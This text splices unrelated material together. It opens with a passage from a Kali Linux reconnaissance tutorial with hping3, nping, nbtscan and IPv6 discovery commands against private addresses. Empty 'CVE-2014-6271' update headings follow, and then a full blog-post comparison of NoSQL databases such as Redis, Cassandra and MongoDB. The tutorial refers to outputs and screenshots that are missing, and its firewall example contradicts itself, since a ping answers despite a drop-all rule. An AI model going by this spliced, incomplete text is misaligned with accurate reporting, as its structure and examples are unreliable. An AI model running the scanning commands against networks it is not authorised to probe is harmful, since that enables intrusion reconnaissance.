• Test Intrusion Detection System (IDS)
• Exploit known vulnerabilities in the TCP/IP stack
To access hping3, go to the console and type hping3. You can give commands to hping3 in several ways, via the command line, interactive shell, or script.
Without any given command-line options, hping3 will send a null TCP packet to port 0.
In order to change to a different protocol, you can use the following options in the command line to define the protocol:
When using the TCP protocol, we can use the TCP packet without any flags (this is the default behavior) or we can give one of the following flag options:
Let’s use hping3 for several cases as follows:
• Send one ICMP echo request packet to a 192.168.126.130 machine. The options used are -1 (for the ICMP protocol) and -c 1 (to set the count to one packet):
#hping3 -1 192.168.126.130 -c 1
The following is the output of the command:
From the preceding output, we can note that the target machine is alive because it has replied to our ICMP echo request. To verify this, we captured the traffic using tcpdump and the following screenshot shows the packets:
We can see that the target has responded with an ICMP echo reply packet.
• Besides giving the options in the command line, you can also use hping3 interactively. Open the console and type hping3. You will then see a prompt where you can type your Tcl commands.
For the preceding example, the following is the corresponding Tcl script:
hping send {ip(daddr=192.168.56.101)+icmp(type=8,code=0)}
Open a command-line window and give the following command to get a response from the target server:
#hping recv eth0
After that, open another command-line window to input the sending request.
The following screenshot shows the response received:
• You can also use hping3 to check for a firewall rule. Let’s suppose you have the following firewall rules:
° Accept any TCP packets directed to port 22 (SSH)
° Accept any TCP packets related with an established connection
° Drop any other packets
To check these rules, you can give the following command in hping3 in order to send an ICMP echo request packet:
#hping3 -1 192.168.126.130 -c 1
The following code is the result:
We can see that the target machine has responded to our ping probe.
nping:-
The nping tool is a tool that allows users to generate network packets of a wide range of protocols (TCP, UDP, ICMP, and ARP). You can also customize the fields in the protocol headers, such as the source and destination port for TCP and UDP. The difference between nping and other similar tools such as ping is that nping supports multiple target hosts and port specification.
It can be used to send an ICMP echo request just like in the ping command. nping can also be used for network stress testing, Address Resolution Protocol (ARP) poisoning, and the denial of service attacks.
In Kali Linux, nping is included with the Nmap package.The following are several probe modes supported by nping:
#nping -c 1 192.168.198.129-131
The following screenshot shows the command output:
#nping –tcp -c 1 -p 22 192.168.198.131
The following screenshot shows the result of the mentioned example:
alive6:-
#alive6 -p eth0
detect-new-ip6:-
#detect-new-ip6 eth0
passive_discovery6:-
To access passive_discovery6, go to the console and type passive_discovery6. This will display the usage information on the screen.The following command is an example of running this tool:
#passive_discovery6 eth0
• fe80::539:3035:77a4:dc68
nbtscan:-
#nbtscan 192.168.198.1-254
#nbtscan -hv 192.168.198.1-254
CVE-2014-6271
Update 1:
Update 2:
Update 3:
Cassandra vs MongoDB vs CouchDB vs Redis vs Riak vs HBase vs Couchbase vs OrientDB vs Aerospike vs Neo4j vs Hypertable vs ElasticSearch vs Accumulo vs VoltDB vs Scalaris comparison
(Yes it’s a long title, since people kept asking me to write about this and that too 🙂 I do when it has a point.)
While SQL databases are insanely useful tools, their monopoly in the last decades is coming to an end. And it’s just time: I can’t even count the things that were forced into relational databases, but never really fitted them. (That being said, relational databases will always be the best for the stuff that has relations.)
But, the differences between NoSQL databases are much bigger than ever was between one SQL database and another. This means that it is a bigger responsibility on software architectsto choose the appropriate one for a project right at the beginning.
In this light, here is a comparison of Cassandra, Mongodb, CouchDB, Redis, Riak, Couchbase (ex-Membase), Hypertable, ElasticSearch, Accumulo, VoltDB, Kyoto Tycoon, Scalaris, OrientDB, Aerospike, Neo4j and HBase:
The most popular ones
Redis (V2.8)
- Written in: C
- Main point: Blazing fast
- License: BSD
- Protocol: Telnet-like, binary safe
- Disk-backed in-memory database,
- Dataset size limited to computer RAM (but can span multiple machines’ RAM with clustering)
- Master-slave replication, automatic failover
- Simple values or data structures by keys
- but complex operations like ZREVRANGEBYSCORE.
- INCR & co (good for rate limiting or statistics)
- Bit operations (for example to implement bloom filters)
- Has sets (also union/diff/inter)
- Has lists (also a queue; blocking pop)
- Has hashes (objects of multiple fields)
- Sorted sets (high score table, good for range queries)
- Lua scripting capabilities (!)
- Has transactions (!)
- Values can be set to expire (as in a cache)
- Pub/Sub lets one implement messaging
Best used: For rapidly changing data with a foreseeable database size (should fit mostly in memory).
For example: To store real-time stock prices. Real-time analytics. Leaderboards. Real-time communication. And wherever you used memcached before.
Cassandra (2.0)
- Written in: Java
- Main point: Store huge datasets in “almost” SQL
- License: Apache
- Protocol: CQL3 & Thrift
- CQL3 is very similar SQL, but with some limitations that come from the scalability (most notably: no JOINs, no aggregate functions.)
- CQL3 is now the official interface. Don’t look at Thrift, unless you’re working on a legacy app. This way, you can live without understanding ColumnFamilies, SuperColumns, etc.
- Querying by key, or key range (secondary indices are also available)
- Tunable trade-offs for distribution and replication (N, R, W)
- Data can have expiration (set on INSERT).
- Writes can be much faster than reads (when reads are disk-bound)
- Map/reduce possible with Apache Hadoop
- All nodes are similar, as opposed to Hadoop/HBase
- Very good and reliable cross-datacenter replication
- Distributed counter datatype.
- You can write triggers in Java.
Best used: When you need to store data so huge that it doesn’t fit on server, but still want a friendly familiar interface to it.
For example: Web analytics, to count hits by hour, by browser, by IP, etc. Transaction logging. Data collection from huge sensor arrays.
MongoDB (2.2)
- Written in: C++
- Main point: Retains some friendly properties of SQL. (Query, index)
- License: AGPL (Drivers: Apache)
- Protocol: Custom, binary (BSON)
- Master/slave replication (auto failover with replica sets)
- Sharding built-in
- Queries are javascript expressions
- Run arbitrary javascript functions server-side
- Better update-in-place than CouchDB
- Uses memory mapped files for data storage
- Performance over features
- Journaling (with –journal) is best turned on
- On 32bit systems, limited to ~2.5Gb
- An empty database takes up 192Mb
- GridFS to store big data + metadata (not actually an FS)
- Has geospatial indexing
- Data center aware
Best used: If you need dynamic queries. If you prefer to define indexes, not map/reduce functions. If you need good performance on a big DB. If you wanted CouchDB, but your data changes too much, filling up disks.
For example: For most things that you would do with MySQL or PostgreSQL, but having predefined columns really holds you back.
ElasticSearch (0.20.1)
- Written in: Java
- Main point: Advanced Search
- License: Apache
- Protocol: JSON over HTTP (Plugins: Thrift, memcached)
- Stores JSON documents
- Has versioning
- Parent and children documents
- Documents can time out
- Very versatile and sophisticated querying, scriptable
- Write consistency: one, quorum or all
- Sorting by score (!)
- Geo distance sorting
- Fuzzy searches (approximate date, etc) (!)
- Asynchronous replication
- Atomic, scripted updates (good for counters, etc)
- Can maintain automatic “stats groups” (good for debugging)
- Still depends very much on only one developer (kimchy).
Best used: When you have objects with (flexible) fields, and you need “advanced search” functionality.
For example: A dating service that handles age difference, geographic location, tastes and dislikes, etc. Or a leaderboard system that depends on many variables.
Classic document and BigTable stores
CouchDB (V1.2)
- Written in: Erlang
- Main point: DB consistency, ease of use
- License: Apache
- Protocol: HTTP/REST
- Bi-directional (!) replication,
- continuous or ad-hoc,
- with conflict detection,
- thus, master-master replication. (!)
- MVCC – write operations do not block reads
- Previous versions of documents are available
- Crash-only (reliable) design
- Needs compacting from time to time
- Views: embedded map/reduce
- Formatting views: lists & shows
- Server-side document validation possible
- Authentication possible
- Real-time updates via ‘_changes’ (!)
- Attachment handling
- thus, CouchApps (standalone js apps)
Best used: For accumulating, occasionally changing data, on which pre-defined queries are to be run. Places where versioning is important.
For example: CRM, CMS systems. Master-master replication is an especially interestin
g feature, allowing easy multi-site deployments.
Accumulo (1.4)
- Written in: Java and C++
- Main point: A BigTable with Cell-level security
- License: Apache
- Protocol: Thrift
- Another BigTable clone, also runs of top of Hadoop
- Originally from the NSA
- Cell-level security
- Bigger rows than memory are allowed
- Keeps a memory map outside Java, in C++ STL
- Map/reduce using Hadoop’s facitlities (ZooKeeper & co)
- Some server-side programming
Best used: If you need to restict access on the cell level.
For example: Same as HBase, since it’s basically a replacement: Search engines. Analysing log data. Any place where scanning huge, two-dimensional join-less tables are a requirement.
HBase (V0.92.0)
- Written in: Java
- Main point: Billions of rows X millions of columns
- License: Apache
- Protocol: HTTP/REST (also Thrift)
- Modeled after Google’s BigTable
- Uses Hadoop’s HDFS as storage
- Map/reduce with Hadoop
- Query predicate push down via server side scan and get filters
- Optimizations for real time queries
- A high performance Thrift gateway
- HTTP supports XML, Protobuf, and binary
- Jruby-based (JIRB) shell
- Rolling restart for configuration changes and minor upgrades
- Random access performance is like MySQL
- A cluster consists of several different types of nodes
Best used: Hadoop is probably still the best way to run Map/Reduce jobs on huge datasets. Best if you use the Hadoop/HDFS stack already.
For example: Search engines. Analysing log data. Any place where scanning huge, two-dimensional join-less tables are a requirement.
Hypertable (0.9.6.5)
- Written in: C++
- Main point: A faster, smaller HBase
- License: GPL 2.0
- Protocol: Thrift, C++ library, or HQL shell
- Implements Google’s BigTable design
- Run on Hadoop’s HDFS
- Uses its own, “SQL-like” language, HQL
- Can search by key, by cell, or for values in column families.
- Search can be limited to key/column ranges.
- Sponsored by Baidu
- Retains the last N historical values
- Tables are in namespaces
- Map/reduce with Hadoop
Best used: If you need a better HBase.
For example: Same as HBase, since it’s basically a replacement: Search engines. Analysing log data. Any place where scanning huge, two-dimensional join-less tables are a requirement.
Graph databases
Neo4j (V1.5M02)
- Written in: Java
- Main point: Graph database – connected data
- License: GPL, some features AGPL/commercial
- Protocol: HTTP/REST (or embedding in Java)
- Standalone, or embeddable into Java applications
- Full ACID conformity (including durable data)
- Both nodes and relationships can have metadata
- Integrated pattern-matching-based query language (“Cypher”)
- Also the “Gremlin” graph traversal language can be used
- Indexing of nodes and relationships
- Nice self-contained web admin
- Advanced path-finding with multiple algorithms
- Indexing of keys and relationships
- Optimized for reads
- Has transactions (in the Java API)
- Scriptable in Groovy
- Clustering, caching, online backup, advanced monitoring and High Availability is AGPL/commercial licensed
Best used: For graph-style, rich or complex, interconnected data.
For example: For searching routes in social relations, public transport links, road maps, or network topologies.
OrientDB (2.0)
- Written in: Java
- Main point: Document-based graph database
- License: Apache 2.0
- Protocol: Java API, binary or HTTP REST/JSON
- Has transactions
- Can be used both as a document and as a graph database (vertices with properties)
- Multi-master architecture
- Supports relationships between documents via persistent pointers (LINK, LINKSET, LINKMAP, LINKLIST field types)
- SQL-like query language (Note: no JOIN, but there are pointers)
- Web-based GUI (quite good-looking)
- Inheritance between classes
- User functions in SQL or JavaScript
- Sharding
- Advanced monitoring, online backups are commercially licensed
Best used: For graph-style, rich or complex, interconnected data.
For example: For searching routes in social relations, public transport links, road maps, or network topologies.
The “long tail”
(Not widely known, but definitely worthy ones)
Couchbase (ex-Membase) (2.0)
- Written in: Erlang & C
- Main point: Memcache compatible, but with persistence and clustering
- License: Apache
- Protocol: memcached + extensions
- Very fast (200k+/sec) access of data by key
- Persistence to disk
- All nodes are identical (master-master replication)
- Provides memcached-style in-memory caching buckets, too
- Write de-duplication to reduce IO
- Friendly cluster-management web GUI
- Connection proxy for connection pooling and multiplexing (Moxi)
- Incremental map/reduce
- Cross-datacenter replication
Best used: Any application where low-latency data access, high concurrency support and high availability is a requirement.
For example: Low-latency use-cases like ad targeting or highly-concurrent web apps like online gaming (e.g. Zynga).
Scalaris (0.5)
- Written in: Erlang
- Main point: Distributed P2P key-value store
- License: Apache
- Protocol: Proprietary & JSON-RPC
- In-memory (disk when using Tokyo Cabinet as a backend)
- Uses YAWS as a web server
- Has transactions (an adapted Paxos commit)
- Consistent, distributed write operations
- From CAP, values Consistency over Availability (in case of network partitioning, only the bigger partition works)
Best used: If you like Erlang and wanted to use Mnesia or DETS or ETS, but you need something that is accessible from more languages (and scales much better than ETS or DETS).
For example: In an Erlang-based system when you want to give access to the DB to Python, Ruby or Java programmers.
Aerospike (3.3)
- Written in: C
- Main point: Speed, SSD-optimized storage
- License: License: AGPL (Client: Apache)
- Protocol: Proprietary
- Cross-datacenter replication is commercially licensed
- Very fast access of data by key
- Uses SSD devices as a block device to store data (RAM + persistence also available)
- Automatic failover and automatic rebalancing of data when nodes or added or removed from cluster
- User Defined Functions in LUA
- Cluster management with Web GUI
- Has complex data types (lists and maps) as well as simple (integer, string, blob)
- Secondary indices
- Aggregation query model
- Data can be set to expire
with a time-to-live (TTL)
Best used: Any application where low-latency data access, high concurrency support and high availability is a requirement.
For example:Storing massive amounts of profile data in online advertising or retail Web sites.
Riak (V1.2)
- Written in: Erlang & C, some JavaScript
- Main point: Fault tolerance
- License: Apache
- Protocol: HTTP/REST or custom binary
- Stores blobs
- Tunable trade-offs for distribution and replication
- Pre- and post-commit hooks in JavaScript or Erlang, for validation and security.
- Map/reduce in JavaScript or Erlang
- Links & link walking: use it as a graph database
- Secondary indices: but only one at once
- Large object support (Luwak)
- Comes in “open source” and “enterprise” editions
- Full-text search, indexing, querying with Riak Search
- In the process of migrating the storing backend from “Bitcask” to Google’s “LevelDB”
- Masterless multi-site replication replication and SNMP monitoring are commercially licensed
Best used: If you want something Dynamo-like data storage, but no way you’re gonna deal with the bloat and complexity. If you need very good single-site scalability, availability and fault-tolerance, but you’re ready to pay for multi-site replication.
For example: Point-of-sales data collection. Factory control systems. Places where even seconds of downtime hurt. Could be used as a well-update-able web server.
VoltDB (2.8.4.1)
- Written in: Java
- Main point: Fast transactions and rapidly changing data
- License: GPL 3
- Protocol: Proprietary
- In-memory relational database.
- Can export data into Hadoop
- Supports ANSI SQL
- Stored procedures in Java
- Cross-datacenter replication
Best used: Where you need to act fast on massive amounts of incoming data.
For example: Point-of-sales data analysis. Factory control systems.
Kyoto Tycoon (0.9.56)
- Written in: C++
- Main point: A lightweight network DBM
- License: GPL
- Protocol: HTTP (TSV-RPC or REST)
- Based on Kyoto Cabinet, Tokyo Cabinet’s successor
- Multitudes of storage backends: Hash, Tree, Dir, etc (everything from Kyoto Cabinet)
- Kyoto Cabinet can do 1M+ insert/select operations per sec (but Tycoon does less because of overhead)
- Lua on the server side
- Language bindings for C, Java, Python, Ruby, Perl, Lua, etc
- Uses the “visitor” pattern
- Hot backup, asynchronous replication
- background snapshot of in-memory databases
- Auto expiration (can be used as a cache server)
Best used: When you want to choose the backend storage algorithm engine very precisely. When speed is of the essence.
For example: Caching server. Stock prices. Analytics. Real-time data collection. Real-time communication. And wherever you used memcached before.
Of course, all these systems have much more features than what’s listed here. I only wanted to list the key points that I base my decisions on. Also, development of all are very fast, so things are bound to change.
Discussion on Hacker News